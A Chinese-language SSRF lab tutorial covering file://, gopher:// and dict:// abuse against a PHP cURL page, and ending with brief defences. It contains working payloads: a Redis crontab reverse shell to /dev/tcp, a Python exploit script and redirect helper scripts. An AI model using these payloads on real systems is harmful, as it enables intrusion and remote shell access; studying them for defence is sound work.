0x01 概述
上篇講述了SSRF的一般用法,用http協議來進行內網探測,攻擊內網redis,接下來討論的是SSRF的拓展用法,通過,file,gopher,dict協議對SSRF漏洞進行利用。
0x02 實驗環境
存在SSRF漏洞的靶機:192.168.220.143
被攻擊的內網系統A:192.168.220.139 (web服務器)
SSRF漏洞存在於頁面:http://192.168.220.143:8888/zhan/ssrf/ssrf_demo.php,代碼如下:
<?php // 創建一個新cURL資源 $ch = curl_init(); // 設置URL和相應的選項 curl_setopt($ch, CURLOPT_URL, $_GET['url']); curl_setopt($ch, CURLOPT_HEADER, false); // 抓取URL並把它傳遞給瀏覽器 curl_exec($ch); //關閉cURL資源,並且釋放系統資源 curl_close($ch); ?>
可能出現SSRF的函數:file_get_contents()、curl()、fsocksopen()、fopen()等。
【利用1】 通過file協議讀取文件
訪問:http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo.php?url=file:///C:/WINDOWS/win.ini ,成功讀取文件
【利用2】通過gopher協議對內網系統進行POST攻擊
簡要介紹:gopher協議是比http協議更早出現的協議,現在已經不常用了,但是在SSRF漏洞利用中gopher可以說是萬金油,因為可以使用gopher發送各種格式的請求包,這樣就可以解決漏洞點不在GET參數的問題了。
假設存在一內網系統(http://192.168.220.139/test/ssrf/post.php),其支持POST請求,代碼如下:
<html> <head> <title>post</title> </head> <body> <?php echo $_REQUEST[cmd]; ?> </body> </html>
①通過【curl命令】和【gopher協議】偽造post請求
科來網絡分析工具抓包:
再查看192.168.220.139的系統日志會發現,多了一條來自192.168.220.142的POST請求記錄
②通過【curl命令】和【gopher協議】對有【SSRF漏洞】的網站遠程偽造post請求
通過SSRF漏洞同樣可以利用gopher協議對內網系統進行POST請求,不過首先需要查看下【phpinfo】,確認curl是enabled,並且需要確認下當前的curl版本是否支持gopher協議。
開始用的7.21.0,就沒有復現成功,這里是個坑- -!如果curl版本太低,調高phpstudy里的php版本就可以惹^^
注意:這里的回車換行要二次編碼:%0D%0A -->%250d%250a
再去查看192.168.220.139的系統日志會發現,多了一條來自192.168.220.143的POST請求記錄。通過抓包可以看到,實際上,192.168.220.143確實向192.168.220.139發送了一個POST請求,在這里143其實充當了跳板機的角色。
攻擊過程如下:
③通過【curl命令】和【gopher協議】對有【SSRF漏洞】的網站遠程偽造post請求反彈shell
##補充知識1
④通過【curl命令】和【gopher協議】對有【SSRF漏洞】的網站遠程攻擊內網redis
可以參考這篇文章:通過gopher協議拓展攻擊面
##補充知識2
①docker端口映射
docker run -d -p 6379:6379 ssrf_redis #將docker的6379端口映射到宿主機的6379端口
docker ps #查看端口映射情況
②攻擊redis的exp:
此種方法能攻擊成功的前提條件是:redis是以root權限運行的,通過【ps -aux | grep redis】查看redis服務權限,如果不是以root權限運行,就會出現【Permission denied】的報錯。
redis-cli -h 192.168.220.142 -p 6379 set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.220.140/9999 0>&1\n\n" config set dir /var/spool/cron config set dbfilename root save
回到上面說的通過SSRF漏洞結合gopher協議攻擊內網redis,可以構造如下命令,即可反彈shell:
③redis安全策略
- 開啟protected-mode保護模式,配置bind選項,限定可以連接Redis服務器的IP,修改 Redis 的默認端口6379
- 配置認證,也就是AUTH,設置密碼,密碼會以明文方式保存在Redis配置文件中
- 禁止使用root運行redis
【利用3】盲打Struts2命令執行
Struts指紋識別 -> Struts遠程代碼執行漏洞
搜狐某雲服務API接口導致SSRF/手工盲打到Struts2命令執行
【利用4】通過dict協議讀取目標服務器端口上運行的服務版本信息
訪問:http://192.168.220.143:8888/zhan/ssrf/ssrf_demo.php?url=dict://192.168.220.143:3306
【利用5】通過dict協議getshell
參考:
小米某處SSRF漏洞(可內網SHELL 附多線程Fuzz腳本)
關於dict協議:
> dict://serverip:port/命令:參數
> 向服務器的端口請求 命令:參數,並在末尾自動補上\r\n(CRLF),為漏洞利用增添了便利
如果服務端不支持gopher協議,可嘗試dict協議,不過通過dict協議的話要一條一條的執行,而gopher協議執行一條命令就行了。
通過【curl命令】和【dict協議】可以對redis進行操作:
0x03 SSRF繞過限制
http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo2.php,代碼如下:
<?php
// 創建一個新cURL資源 $ch = curl_init(); // 設置URL和相應的選項 curl_setopt($ch, CURLOPT_URL, $_GET['url']); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True); //跳轉重定向為True,默認不跳轉 curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); // 限制為HTTPS、HTTP協議 curl_setopt($ch, CURLOPT_HEADER, false); // 抓取URL並把它傳遞給瀏覽器 curl_exec($ch); //關閉cURL資源,並且釋放系統資源 curl_close($ch); ?>
curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo2.php?url=http://192.168.220.139:80/test/ssrf/302.php?s=dict%26ip=192.168.220.142%26port=6379%26data=flushall'
curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo2.php?url=http://192.168.220.139:80/test/ssrf/shell.php?s=dict%26ip=192.168.220.142%26port=6379%26bhost=192.168.220.140%26bport=7777'
curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo2.php?url=http://192.168.220.139:80/test/ssrf/302.php?s=dict%26ip=192.168.220.142%26port=6379%26data=config:set:dir:/var/spool/cron/'
curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo2.php?url=http://192.168.220.139:80/test/ssrf/302.php?s=dict%26ip=192.168.220.142&port=6379&data=config:set:dbfilename:root'
curl -v 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo2.php?url=http://192.168.220.139:80/test/ssrf/302.php?s=dict%26ip=192.168.220.142%26port=6379%26data=save'
(理論上應該可以,但是實驗沒有成功,有可能是url編碼的問題,以后有時間再來深究)
實戰代碼:
#!/usr/bin/env python # encoding: utf-8 import requests host = '192.168.220.142' port = '6379' bhost = '192.168.220.140' bport = '7777' vul_httpurl = 'http://192.168.220.143:8888/zhan/test/ssrf/ssrf_demo.php?url=' _location = 'http://192.168.220.139:80/test/ssrf/302.php' shell_location = 'http://192.168.220.139:80/test/ssrf/shell.php' #1 flush db _payload = '?s=dict%26ip={host}%26port={port}%26data=flushall'.format( host = host, port = port) exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg'.format(_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print requests.get(exp_uri).content #2 set crontab command _payload = '?s=dict%26ip={host}%26port={port}%26bhost={bhost}%26bport={bport}'.format( host = host, port = port, bhost = bhost, bport = bport) exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg'.format(shell_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print requests.get(exp_uri).content #3 config set dir /var/spool/cron/ _payload = '?s=dict%26ip={host}%26port={port}%26data=config:set:dir:/var/spool/cron/'.format( host = host, port = port) exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg'.format(_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print requests.get(exp_uri).content #4 config set dbfilename root _payload = '?s=dict%26ip={host}%26port={port}%26data=config:set:dbfilename:root'.format( host = host, port = port) exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg'.format(_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print requests.get(exp_uri).content #5 save to file _payload = '?s=dict%26ip={host}%26port={port}%26data=save'.format( host = host, port = port) exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg'.format(_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print requests.get(exp_uri).content
302.php輔助腳本:
<?php
$ip = $_GET['ip']; $port = $_GET['port']; $scheme = $_GET['s']; $data = $_GET['data']; header("Location: $scheme://$ip:$port/$data"); ?>
shell.php輔助腳本:
<?php
$ip = $_GET['ip']; $port = $_GET['port']; $bhost = $_GET['bhost']; $bport = $_GET['bport']; $scheme = $_GET['s']; header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-i\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a\""); ?>
file.php輔助腳本
<?php
header("Location: file:///c:/windows/system.ini"); ?>
0x04 SSRF防御
1.禁用不需要的協議。僅僅允許http和https請求。可以防止類似於file:///,gopher://,ftp:// 等引起的問題
2.統一錯誤信息,避免用戶可以根據錯誤信息來判斷遠端服務器的端口狀態
3.禁止302跳轉,或者每跳轉一次,就檢查一次新的Host是否是內網IP,直到抵達最后的網址。
還有一種比較暴力的,就是哪里出錯刪哪里。比如Weblogic不需要UDDI功能,就關閉這個功能(可以刪除uddiexporer文件夾)。
參考鏈接: